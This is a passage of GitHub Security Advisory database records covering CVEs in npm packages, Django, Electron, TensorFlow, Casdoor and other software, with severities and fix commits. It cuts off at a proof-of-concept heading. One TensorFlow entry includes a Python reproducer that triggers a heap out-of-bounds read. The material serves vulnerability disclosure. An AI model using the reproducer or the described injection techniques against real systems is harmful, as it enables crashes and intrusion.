* [Contact me](https://github.com/rabomarnix) | null | 2020-03-06T01:15:46Z | 2020-03-06T01:15:46Z | HIGH | 0 | null | {'https://github.com/rabobank-blockchain/vp-toolkit/security/advisories/GHSA-ff5x-w9wg-h275', 'https://github.com/rabobank-blockchain/vp-toolkit/issues/14', 'https://github.com/advisories/GHSA-ff5x-w9wg-h275', 'https://github.com/rabobank-blockchain/vp-toolkit/commit/18a7db84d3265c6ffa10ef63eb37ae1bd4ba192b'} | null | {'https://github.com/rabobank-blockchain/vp-toolkit/commit/18a7db84d3265c6ffa10ef63eb37ae1bd4ba192b'} | {'https://github.com/rabobank-blockchain/vp-toolkit/commit/18a7db84d3265c6ffa10ef63eb37ae1bd4ba192b'} |
GHSA | GHSA-gm8g-xhh8-rmwr | Prototype Pollution in doc-path | This affects the package doc-path before 2.1.2. | {'CVE-2020-7772'} | 2021-05-10T19:17:25Z | 2021-05-10T19:17:25Z | CRITICAL | 9.8 | {'CWE-1321'} | {'https://github.com/advisories/GHSA-gm8g-xhh8-rmwr', 'https://github.com/mrodrig/doc-path/blob/stable/src/path.js%23L54', 'https://github.com/mrodrig/doc-path/commit/3e2bb168cf303bffcd7fae5f8d05e5300c1541c7', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7772', 'https://snyk.io/vuln/SNYK-JS-DOCPATH-1011952'} | null | {'https://github.com/mrodrig/doc-path/commit/3e2bb168cf303bffcd7fae5f8d05e5300c1541c7'} | {'https://github.com/mrodrig/doc-path/commit/3e2bb168cf303bffcd7fae5f8d05e5300c1541c7'} |
GHSA | GHSA-h9jc-284h-533g | Context isolation bypass via contextBridge in Electron | ### Impact
Apps using both `contextIsolation` and `contextBridge` are affected.
This is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.
### Workarounds
There are no app-side workarounds, you must update your Electron version to be protected.
### Fixed Versions
* `9.0.0-beta.21`
* `8.2.4`
* `7.2.4`
### For more information
If you have any questions or comments about this advisory:
* Email us at [security@electronjs.org](mailto:security@electronjs.org) | {'CVE-2020-4077'} | 2021-01-07T23:48:29Z | 2020-07-07T00:01:10Z | HIGH | 7.7 | {'CWE-501'} | {'https://github.com/advisories/GHSA-h9jc-284h-533g', 'https://www.electronjs.org/releases/stable?page=3#release-notes-for-v824', 'https://github.com/electron/electron/security/advisories/GHSA-h9jc-284h-533g', 'https://nvd.nist.gov/vuln/detail/CVE-2020-4077', 'https://github.com/electron/electron/commit/b8e347709245d2dc5640fbb3044d9b21b4eaa6b0'} | null | {'https://github.com/electron/electron/commit/b8e347709245d2dc5640fbb3044d9b21b4eaa6b0'} | {'https://github.com/electron/electron/commit/b8e347709245d2dc5640fbb3044d9b21b4eaa6b0'} |
GHSA | GHSA-vf94-36g5-69v8 | Division by zero in TFLite's implementation of `DepthToSpace` | ### Impact
The implementation of the `DepthToSpace` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/depth_to_space.cc#L63-L69):
```cc
const int block_size = params->block_size;
...
const int input_channels = input->dims->data[3];
...
int output_channels = input_channels / block_size / block_size;
```
An attacker can craft a model such that `params->block_size` is 0.
### Patches
We have patched the issue in GitHub commit [106d8f4fb89335a2c52d7c895b7a7485465ca8d9](https://github.com/tensorflow/tensorflow/commit/106d8f4fb89335a2c52d7c895b7a7485465ca8d9).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-29595'} | 2021-05-21T14:27:49Z | 2021-05-21T14:27:49Z | LOW | 2.5 | {'CWE-369'} | {'https://github.com/advisories/GHSA-vf94-36g5-69v8', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29595', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vf94-36g5-69v8', 'https://github.com/tensorflow/tensorflow/commit/106d8f4fb89335a2c52d7c895b7a7485465ca8d9'} | null | {'https://github.com/tensorflow/tensorflow/commit/106d8f4fb89335a2c52d7c895b7a7485465ca8d9'} | {'https://github.com/tensorflow/tensorflow/commit/106d8f4fb89335a2c52d7c895b7a7485465ca8d9'} |
GHSA | GHSA-2gw2-8q9w-cw8p | Ruby-ffi has a DLL loading issue | ruby-ffi version 1.9.23 and earlier has a DLL loading issue which can be hijacked on Windows OS, when a Symbol is used as DLL name instead of a String This vulnerability appears to have been fixed in v1.9.24 and later. | {'CVE-2018-1000201'} | 2022-04-26T18:29:59Z | 2018-08-31T14:55:43Z | HIGH | 7.8 | {'CWE-426'} | {'https://github.com/advisories/GHSA-2gw2-8q9w-cw8p', 'https://github.com/ffi/ffi/commit/09e0c6076466b4383da7fa4e13f714311109945a', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000201', 'https://github.com/ffi/ffi/commit/e0fe486df0e117ed67b0282b6ada04b7214ca05c'} | null | {'https://github.com/ffi/ffi/commit/09e0c6076466b4383da7fa4e13f714311109945a', 'https://github.com/ffi/ffi/commit/e0fe486df0e117ed67b0282b6ada04b7214ca05c'} | {'https://github.com/ffi/ffi/commit/09e0c6076466b4383da7fa4e13f714311109945a', 'https://github.com/ffi/ffi/commit/e0fe486df0e117ed67b0282b6ada04b7214ca05c'} |
GHSA | GHSA-m358-g4rp-533r | SQL Injection in Casdoor | The query API in Casdoor before 1.13.1 has a SQL injection vulnerability related to the field and value parameters, as demonstrated by api/get-organizations. | {'CVE-2022-24124'} | 2022-03-01T18:52:49Z | 2022-02-01T00:49:39Z | HIGH | 7.5 | {'CWE-89'} | {'https://github.com/casdoor/casdoor/pull/442', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24124', 'https://github.com/casdoor/casdoor/compare/v1.13.0...v1.13.1', 'https://github.com/casdoor/casdoor/issues/439', 'https://github.com/casdoor/casdoor/commit/5ec0c7a89005819960d8fe07f5ddda13d1371b8c', 'https://github.com/advisories/GHSA-m358-g4rp-533r', 'http://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html'} | null | {'https://github.com/casdoor/casdoor/commit/5ec0c7a89005819960d8fe07f5ddda13d1371b8c'} | {'https://github.com/casdoor/casdoor/commit/5ec0c7a89005819960d8fe07f5ddda13d1371b8c'} |
GHSA | GHSA-qfxv-qqvg-24pg | OS Command Injection in im-metadata | im-metadata through 3.0.1 allows remote attackers to execute arbitrary commands via the "exec" argument. It is possible to inject arbitrary commands as part of the metadata options which is given to the "exec" function. | {'CVE-2019-10788'} | 2021-04-13T15:17:36Z | 2021-04-13T15:17:36Z | HIGH | 9.8 | {'CWE-78'} | {'https://github.com/Turistforeningen/node-im-metadata/commit/ea15dddbe0f65694bfde36b78dd488e90f246639', 'https://nvd.nist.gov/vuln/detail/CVE-2019-10788', 'https://github.com/advisories/GHSA-qfxv-qqvg-24pg', 'https://snyk.io/vuln/SNYK-JS-IMMETADATA-544184'} | null | {'https://github.com/Turistforeningen/node-im-metadata/commit/ea15dddbe0f65694bfde36b78dd488e90f246639'} | {'https://github.com/Turistforeningen/node-im-metadata/commit/ea15dddbe0f65694bfde36b78dd488e90f246639'} |
GHSA | GHSA-c8xf-m4ff-jcxj | Moderate severity vulnerability that affects org.bouncycastle:bcprov-jdk14 and org.bouncycastle:bcprov-jdk15 | In the Bouncy Castle JCE Provider version 1.55 and earlier the primary engine class used for AES was AESFastEngine. Due to the highly table driven approach used in the algorithm it turns out that if the data channel on the CPU can be monitored the lookup table accesses are sufficient to leak information on the AES key being used. There was also a leak in AESEngine although it was substantially less. AESEngine has been modified to remove any signs of leakage (testing carried out on Intel X86-64) and is now the primary AES class for the BC JCE provider from 1.56. Use of AESFastEngine is now only recommended where otherwise deemed appropriate. | {'CVE-2016-1000339'} | 2021-09-08T21:44:47Z | 2018-10-17T16:23:38Z | MODERATE | 5.3 | null | {'https://security.netapp.com/advisory/ntap-20181127-0004/', 'https://access.redhat.com/errata/RHSA-2018:2927', 'https://github.com/bcgit/bc-java/commit/8a73f08931450c17c749af067b6a8185abdfd2c0#diff-494fb066bed02aeb76b6c005632943f2', 'https://www.oracle.com/security-alerts/cpuoct2020.html', 'https://github.com/advisories/GHSA-c8xf-m4ff-jcxj', 'https://github.com/bcgit/bc-java/commit/413b42f4d770456508585c830cfcde95f9b0e93b#diff-54656f860db94b867ba7542430cd2ef0', 'https://nvd.nist.gov/vuln/detail/CVE-2016-1000339', 'https://access.redhat.com/errata/RHSA-2018:2669', 'https://usn.ubuntu.com/3727-1/', 'https://lists.debian.org/debian-lts-announce/2018/07/msg00009.html'} | null | {'https://github.com/bcgit/bc-java/commit/413b42f4d770456508585c830cfcde95f9b0e93b#diff-54656f860db94b867ba7542430cd2ef0', 'https://github.com/bcgit/bc-java/commit/8a73f08931450c17c749af067b6a8185abdfd2c0#diff-494fb066bed02aeb76b6c005632943f2'} | {'https://github.com/bcgit/bc-java/commit/8a73f08931450c17c749af067b6a8185abdfd2c0#diff-494fb066bed02aeb76b6c005632943f2', 'https://github.com/bcgit/bc-java/commit/413b42f4d770456508585c830cfcde95f9b0e93b#diff-54656f860db94b867ba7542430cd2ef0'} |
GHSA | GHSA-57hg-26h7-9qgv | pimcore is vulnerable to Cross-site Scripting | pimcore is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | {'CVE-2022-0256'} | 2022-01-25T20:49:11Z | 2022-01-21T23:48:07Z | MODERATE | 5.4 | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-0256', 'https://huntr.dev/bounties/8d88e48a-7124-4aaf-9f1d-6cfe4f9a79c1', 'https://github.com/advisories/GHSA-57hg-26h7-9qgv', 'https://github.com/pimcore/pimcore/commit/dff1cb0c466abcd55f1268934de3ed937b7436a7'} | null | {'https://github.com/pimcore/pimcore/commit/dff1cb0c466abcd55f1268934de3ed937b7436a7'} | {'https://github.com/pimcore/pimcore/commit/dff1cb0c466abcd55f1268934de3ed937b7436a7'} |
GHSA | GHSA-xhg2-rvm8-w2jh | Cross-site Request Forgery (CSRF) | Rancher 2 through 2.2.4 is vulnerable to a Cross-Site Websocket Hijacking attack that allows an exploiter to gain access to clusters managed by Rancher. The attack requires a victim to be logged into a Rancher server, and then to access a third-party site hosted by the exploiter. Once that is accomplished, the exploiter is able to execute commands against the cluster's Kubernetes API with the permissions and identity of the victim. | {'CVE-2019-13209'} | 2022-04-25T20:20:19Z | 2021-05-18T15:42:40Z | HIGH | 8.7 | {'CWE-352', 'CWE-79'} | {'https://forums.rancher.com/t/rancher-release-v2-2-5-addresses-rancher-cve-2019-13209/14801', 'https://github.com/advisories/GHSA-xhg2-rvm8-w2jh', 'https://nvd.nist.gov/vuln/detail/CVE-2019-13209', 'https://forums.rancher.com/c/announcements', 'https://github.com/rancher/rancher/commit/0ddffe484adccb9e37d9432e8e625d8ebbfb0088'} | null | {'https://github.com/rancher/rancher/commit/0ddffe484adccb9e37d9432e8e625d8ebbfb0088'} | {'https://github.com/rancher/rancher/commit/0ddffe484adccb9e37d9432e8e625d8ebbfb0088'} |
GHSA | GHSA-wpg7-2c88-r8xv | Exposure of Sensitive Information in simple-get | In versions of simple-get prior to 4.0.1, 3.1.1, and 2.8.2, when fetching a remote url with a cookie location response, headers will be followed, potentially resulting in an exposure of the session cookie to a third party. | {'CVE-2022-0355'} | 2022-02-03T16:08:57Z | 2022-01-28T22:54:16Z | HIGH | 7.5 | {'CWE-200'} | {'https://github.com/feross/simple-get/pull/75#issuecomment-1027755026', 'https://github.com/feross/simple-get/pull/76#issuecomment-1027754710', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0355', 'https://huntr.dev/bounties/42c79c23-6646-46c4-871d-219c0d4b4e31', 'https://github.com/feross/simple-get/commit/e4af095e06cd69a9235013e8507e220a79b9684f', 'https://github.com/advisories/GHSA-wpg7-2c88-r8xv'} | null | {'https://github.com/feross/simple-get/commit/e4af095e06cd69a9235013e8507e220a79b9684f'} | {'https://github.com/feross/simple-get/commit/e4af095e06cd69a9235013e8507e220a79b9684f'} |
GHSA | GHSA-39qv-prmh-x37f | Prototype Pollution in @strikeentco/set | This affects the package @strikeentco/set before 1.0.2. It allows an attacker to cause a denial of service and may lead to remote code execution. **Note:** This vulnerability derives from an incomplete fix in https://security.snyk.io/vuln/SNYK-JS-STRIKEENTCOSET-1038821 | {'CVE-2021-23497'} | 2022-02-11T16:16:33Z | 2022-02-05T00:00:26Z | HIGH | 7.5 | {'CWE-1321'} | {'https://snyk.io/blog/remediate-javascript-type-confusion-bypassed-input-validation/', 'https://github.com/advisories/GHSA-39qv-prmh-x37f', 'https://nvd.nist.gov/vuln/detail/CVE-2021-23497', 'https://github.com/strikeentco/set/commit/b2f942c', 'https://snyk.io/vuln/SNYK-JS-STRIKEENTCOSET-2385945', 'https://security.snyk.io/vuln/SNYK-JS-STRIKEENTCOSET-1038821'} | null | {'https://github.com/strikeentco/set/commit/b2f942c'} | {'https://github.com/strikeentco/set/commit/b2f942c'} |
GHSA | GHSA-h2rj-8wgg-mm43 | Cross-site Scripting in craftcms | Craft CMS before 3.6.13 has an XSS vulnerability. | {'CVE-2021-32470'} | 2022-03-21T20:41:37Z | 2022-03-18T17:53:37Z | MODERATE | 6.1 | {'CWE-79'} | {'https://github.com/advisories/GHSA-h2rj-8wgg-mm43', 'https://github.com/craftcms/cms/commit/f9378aa154b5f9b64bed3d59cce0c4a8184bf5e6', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32470', 'https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#3613---2021-05-04'} | null | {'https://github.com/craftcms/cms/commit/f9378aa154b5f9b64bed3d59cce0c4a8184bf5e6'} | {'https://github.com/craftcms/cms/commit/f9378aa154b5f9b64bed3d59cce0c4a8184bf5e6'} |
GHSA | GHSA-qr32-j4j6-3m7r | Command Injection in fs-git | Affected versions of `fs-git` do not sanitize strings passed into the `buildCommand` method, resulting in arbitrary code execution.
## Recommendation
Update to version 1.0.2 or later. | {'CVE-2017-16087'} | 2021-08-04T20:06:57Z | 2019-05-29T20:23:00Z | HIGH | 0 | {'CWE-77'} | {'https://nvd.nist.gov/vuln/detail/CVE-2017-16087', 'https://github.com/vvakame/fs-git/commit/eb5f70efa5cfbff1ab299fa7daaa5de549243998#diff-13b5b151431c7e7a17f273559ed212d5', 'https://www.npmjs.com/advisories/360', 'https://github.com/vvakame/fs-git/commit/eb5f70efa5cfbff1ab299fa7daaa5de549243998', 'https://github.com/advisories/GHSA-qr32-j4j6-3m7r'} | null | {'https://github.com/vvakame/fs-git/commit/eb5f70efa5cfbff1ab299fa7daaa5de549243998', 'https://github.com/vvakame/fs-git/commit/eb5f70efa5cfbff1ab299fa7daaa5de549243998#diff-13b5b151431c7e7a17f273559ed212d5'} | {'https://github.com/vvakame/fs-git/commit/eb5f70efa5cfbff1ab299fa7daaa5de549243998#diff-13b5b151431c7e7a17f273559ed212d5', 'https://github.com/vvakame/fs-git/commit/eb5f70efa5cfbff1ab299fa7daaa5de549243998'} |
GHSA | GHSA-xpfp-f569-q3p2 | SQL Injection in Django | Django 3.1.x before 3.1.13 and 3.2.x before 3.2.5 allows QuerySet.order_by SQL injection if order_by is untrusted input from a client of a web application. | {'CVE-2021-35042'} | 2022-03-03T20:45:47Z | 2021-09-22T17:34:49Z | CRITICAL | 9.8 | {'CWE-89'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SS6NJTBYWOX6J7G4U3LUOILARJKWPQ5Y/', 'https://github.com/advisories/GHSA-xpfp-f569-q3p2', 'https://github.com/django/django/commit/0bd57a879a0d54920bb9038a732645fb917040e9', 'https://groups.google.com/forum/#!forum/django-announce', 'https://www.djangoproject.com/weblog/2021/jul/01/security-releases/', 'https://www.openwall.com/lists/oss-security/2021/07/02/2', 'https://nvd.nist.gov/vuln/detail/CVE-2021-35042', 'https://docs.djangoproject.com/en/3.2/releases/security/', 'https://security.netapp.com/advisory/ntap-20210805-0008/'} | null | {'https://github.com/django/django/commit/0bd57a879a0d54920bb9038a732645fb917040e9'} | {'https://github.com/django/django/commit/0bd57a879a0d54920bb9038a732645fb917040e9'} |
GHSA | GHSA-5hmm-x8q8-w5jh | LDAP authentication bypass with empty password | ### Impact
Users may be able to bypass LDAP authentication if they provide an empty password when Alerta server is configure to use LDAP as the authorization provider.
Only deployments where LDAP servers are configured to allow unauthenticated binds (eg. default on Active Directory) are affected.
### Patches
A fix has been implemented that returns HTTP 401 Unauthorized response for any authentication attempts where the password field is empty. See https://github.com/alerta/alerta/pull/1345
### Workarounds
LDAP administrators can disallow unauthenticated bind requests by clients.
### References
https://tools.ietf.org/html/rfc4513#section-5.1.2
https://pypi.org/project/alerta-server/8.1.0/
### For more information
If you have any questions or comments about this advisory:
* Add a comment to the issue [#1277](https://github.com/alerta/alerta/issues/1277)
* Email us at [admin@alerta.dev](mailto:admin@alerta.dev) | {'CVE-2020-26214'} | 2022-04-19T19:02:39Z | 2020-11-06T17:35:49Z | HIGH | 9.1 | {'CWE-287'} | {'https://github.com/alerta/alerta/security/advisories/GHSA-5hmm-x8q8-w5jh', 'https://github.com/alerta/alerta/issues/1277', 'https://github.com/alerta/alerta/commit/2bfa31779a4c9df2fa68fa4d0c5c909698c5ef65', 'https://github.com/advisories/GHSA-5hmm-x8q8-w5jh', 'https://github.com/alerta/alerta/pull/1345', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26214', 'https://pypi.org/project/alerta-server/8.1.0/', 'https://tools.ietf.org/html/rfc4513#section-5.1.2'} | null | {'https://github.com/alerta/alerta/commit/2bfa31779a4c9df2fa68fa4d0c5c909698c5ef65'} | {'https://github.com/alerta/alerta/commit/2bfa31779a4c9df2fa68fa4d0c5c909698c5ef65'} |
GHSA | GHSA-pvv8-8fx9-h673 | Path Traversal in @backstage/plugin-scaffolder-backend | ### Impact
A malicious actor could read sensitive files from the environment where Scaffolder tasks are run. The attack is executed by crafting a custom Scaffolder template with a `publish:github:pull-request` action using a particular source path. When the template is executed the sensitive files would be included in the published pull request.
This vulnerability is mitigated by the fact that an attacker would need access to create and register templates in the Backstage catalog, and that the attack is very visible given that the exfiltration happens via a pull request.
### Patches
The vulnerability is patched in the `0.15.9` release of `@backstage/plugin-scaffolder-backend`.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)
* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage) | {'CVE-2021-41151'} | 2021-10-25T20:07:48Z | 2021-10-19T15:28:03Z | MODERATE | 6.8 | {'CWE-22'} | {'https://github.com/backstage/backstage/commit/6968962c920508eae19a4c1c200fa2c8980a4006', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41151', 'https://github.com/backstage/backstage/security/advisories/GHSA-pvv8-8fx9-h673', 'https://github.com/backstage/backstage/releases/tag/release-2021-10-16', 'https://github.com/advisories/GHSA-pvv8-8fx9-h673'} | null | {'https://github.com/backstage/backstage/commit/6968962c920508eae19a4c1c200fa2c8980a4006'} | {'https://github.com/backstage/backstage/commit/6968962c920508eae19a4c1c200fa2c8980a4006'} |
GHSA | GHSA-cg3q-59w7-rvc2 | Reliance on Cookies without Validation and Integrity Checking in getgrav/grav | grav is vulnerable to Reliance on Cookies without Validation and Integrity Checking. A cookie with an overly broad path can be accessed through other applications on the same domain. Since cookies often carry sensitive information such as session identifiers, sharing cookies across applications can lead a vulnerability in one application to cause a compromise in another. | {'CVE-2021-3818'} | 2021-10-04T14:11:39Z | 2021-09-29T17:12:51Z | MODERATE | 6.3 | {'CWE-565'} | {'https://github.com/getgrav/grav/commit/c51fb1779b83f620c0b6f3548d4a96322b55df07', 'https://github.com/advisories/GHSA-cg3q-59w7-rvc2', 'https://huntr.dev/bounties/c2bc65af-7b93-4020-886e-8cdaeb0a58ea'} | null | {'https://github.com/getgrav/grav/commit/c51fb1779b83f620c0b6f3548d4a96322b55df07'} | {'https://github.com/getgrav/grav/commit/c51fb1779b83f620c0b6f3548d4a96322b55df07'} |
GHSA | GHSA-fr77-rrx3-cp7g | Heap OOB read in `tf.ragged.cross` | ### Impact
The [shape inference code for `tf.ragged.cross`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64) can trigger a read outside of bounds of heap allocated array:
```python
import tensorflow as tf
@tf.function
def test():
y = tf.raw_ops.RaggedCross(ragged_values=[],
ragged_row_splits=[],
sparse_indices=[[5]],
sparse_values=[],
sparse_shape=[5],
dense_inputs=[['a']],
input_order='RD',
hashed_output=False,
num_buckets=5,
hash_key=2,
out_values_type=tf.string,
out_row_splits_type=tf.int64)
return y
test()
```
### Patches
We have patched the issue in GitHub commit [fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8](https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-41212'} | 2021-11-10T19:00:31Z | 2021-11-10T19:00:31Z | HIGH | 7.1 | {'CWE-125'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-fr77-rrx3-cp7g', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41212', 'https://github.com/advisories/GHSA-fr77-rrx3-cp7g', 'https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8'} | null | {'https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8'} | {'https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8'} |
GHSA | GHSA-g5wh-fw4m-2v28 | CSRF vulnerability in Jenkins autonomiq plugin | A cross-site request forgery (CSRF) vulnerability in Jenkins autonomiq Plugin 1.15 and earlier allows attackers to connect to an attacker-specified URL server using attacker-specified credentials. | {'CVE-2022-25194'} | 2022-05-04T20:57:42Z | 2022-02-16T00:01:23Z | HIGH | 8.8 | {'CWE-352'} | {'https://github.com/advisories/GHSA-g5wh-fw4m-2v28', 'https://nvd.nist.gov/vuln/detail/CVE-2022-25194', 'https://www.jenkins.io/security/advisory/2022-02-15/#SECURITY-2545', 'https://github.com/jenkinsci/autonomiq-plugin/commit/e06b1ff67664a90819c9561bbc12f4c6e593d1dc'} | null | {'https://github.com/jenkinsci/autonomiq-plugin/commit/e06b1ff67664a90819c9561bbc12f4c6e593d1dc'} | {'https://github.com/jenkinsci/autonomiq-plugin/commit/e06b1ff67664a90819c9561bbc12f4c6e593d1dc'} |
GHSA | GHSA-427q-jp8v-ww95 | Cross-site Scripting in kimai2 | CSRF related to duplicate action. (the duplication occurs first before redirecting to edit form). This vulnerability is capable of tricking admin users to duplicate teams. | {'CVE-2021-3976'} | 2021-11-23T18:16:50Z | 2021-11-23T18:16:50Z | MODERATE | 4.3 | {'CWE-352'} | {'https://github.com/advisories/GHSA-427q-jp8v-ww95', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3976', 'https://github.com/kevinpapst/kimai2/commit/b28e9c120c87222e21a238f1b03a609d6a5d506e', 'https://huntr.dev/bounties/0567048a-118c-42ec-9f94-b55533017406'} | null | {'https://github.com/kevinpapst/kimai2/commit/b28e9c120c87222e21a238f1b03a609d6a5d506e'} | {'https://github.com/kevinpapst/kimai2/commit/b28e9c120c87222e21a238f1b03a609d6a5d506e'} |
GHSA | GHSA-954c-jjx6-cxv7 | Reflected XSS from the callback handler's error query parameter | ### Overview
Versions before and including `1.4.1` are vulnerable to reflected XSS. An attacker can execute arbitrary code by providing an XSS payload in the `error` query parameter which is then processed by the callback handler as an error message.
### Am I affected?
You are affected by this vulnerability if you are using `@auth0/nextjs-auth0` version `1.4.1` or lower **unless** you are using custom error handling that does not return the error message in an HTML response.
### How to fix that?
Upgrade to version `1.4.2`.
### Will this update impact my users?
The fix adds basic HTML escaping to the error message and it should not impact your users.
### Credit
https://github.com/inian
https://github.com/git-ishanpatel | {'CVE-2021-32702'} | 2022-04-19T19:03:01Z | 2021-06-28T16:46:41Z | HIGH | 8 | {'CWE-79'} | {'https://github.com/auth0/nextjs-auth0/commit/6996e2528ceed98627caa28abafbc09e90163ccf', 'https://github.com/advisories/GHSA-954c-jjx6-cxv7', 'https://www.npmjs.com/package/@auth0/nextjs-auth0', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32702', 'https://github.com/auth0/nextjs-auth0/security/advisories/GHSA-954c-jjx6-cxv7'} | null | {'https://github.com/auth0/nextjs-auth0/commit/6996e2528ceed98627caa28abafbc09e90163ccf'} | {'https://github.com/auth0/nextjs-auth0/commit/6996e2528ceed98627caa28abafbc09e90163ccf'} |
GHSA | GHSA-j6w9-fv6q-3q52 | Percent-encoded cookies can be used to overwrite existing prefixed cookie names | A reliance on cookies without validation/integrity check security vulnerability exists in rack < 2.2.3, rack < 2.1.4 that makes it is possible for an attacker to forge a secure or host-only cookie prefix. | {'CVE-2020-8184'} | 2021-01-08T21:28:23Z | 2020-06-24T17:15:00Z | HIGH | 0 | {'CWE-784'} | {'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2020-8184.yml', 'https://lists.debian.org/debian-lts-announce/2020/07/msg00006.html', 'https://github.com/rack/rack/commit/1f5763de6a9fe515ff84992b343d63c88104654c', 'https://usn.ubuntu.com/4561-1/', 'https://groups.google.com/g/rubyonrails-security/c/OWtmozPH9Ak', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8184', 'https://hackerone.com/reports/895727', 'https://github.com/advisories/GHSA-j6w9-fv6q-3q52'} | null | {'https://github.com/rack/rack/commit/1f5763de6a9fe515ff84992b343d63c88104654c'} | {'https://github.com/rack/rack/commit/1f5763de6a9fe515ff84992b343d63c88104654c'} |
GHSA | GHSA-97gv-3p2c-xw7j | Denial of Service and Content Injection in i18n-node-angular | Versions of `i18n-node-angular` prior to 1.4.0 are affected by denial of service and cross-site scripting vulnerabilities. The vulnerabilities exist in a REST endpoint that was created for development purposes, but was not disabled in production in affected versions.
## Recommendation
Update to version 1.4.0 or later. | {'CVE-2016-10524'} | 2022-02-11T17:08:46Z | 2019-02-18T23:39:06Z | HIGH | 8.2 | {'CWE-74', 'CWE-400'} | {'https://www.npmjs.com/advisories/80', 'https://github.com/advisories/GHSA-97gv-3p2c-xw7j', 'https://github.com/oliversalzburg/i18n-node-angular/commit/877720d2d9bb90dc8233706e81ffa03f99fc9dc8', 'https://nodesecurity.io/advisories/80', 'https://nvd.nist.gov/vuln/detail/CVE-2016-10524'} | null | {'https://github.com/oliversalzburg/i18n-node-angular/commit/877720d2d9bb90dc8233706e81ffa03f99fc9dc8'} | {'https://github.com/oliversalzburg/i18n-node-angular/commit/877720d2d9bb90dc8233706e81ffa03f99fc9dc8'} |
GHSA | GHSA-8p5c-f328-9fvv | Diffoscope may write to arbitrary locations due to an untrusted archive | diffoscope before 76 writes to arbitrary locations on disk based on the contents of an untrusted archive. | {'CVE-2017-0359'} | 2022-04-26T18:16:33Z | 2018-07-13T16:01:21Z | CRITICAL | 9.8 | {'CWE-22'} | {'https://github.com/advisories/GHSA-8p5c-f328-9fvv', 'https://github.com/anthraxx/diffoscope/commit/632a40828a54b399787c25e7fa243f732aef7e05', 'https://nvd.nist.gov/vuln/detail/CVE-2017-0359', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=854723', 'https://security-tracker.debian.org/tracker/CVE-2017-0359'} | null | {'https://github.com/anthraxx/diffoscope/commit/632a40828a54b399787c25e7fa243f732aef7e05'} | {'https://github.com/anthraxx/diffoscope/commit/632a40828a54b399787c25e7fa243f732aef7e05'} |
GHSA | GHSA-f5pg-7wfw-84q9 | CBC padding oracle issue in AWS S3 Crypto SDK for golang | ### Summary
The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.
### Risk/Severity
The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.
### Impact
This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.
V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.
This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.
This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.
### Mitigation
Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.
### Proof of concept
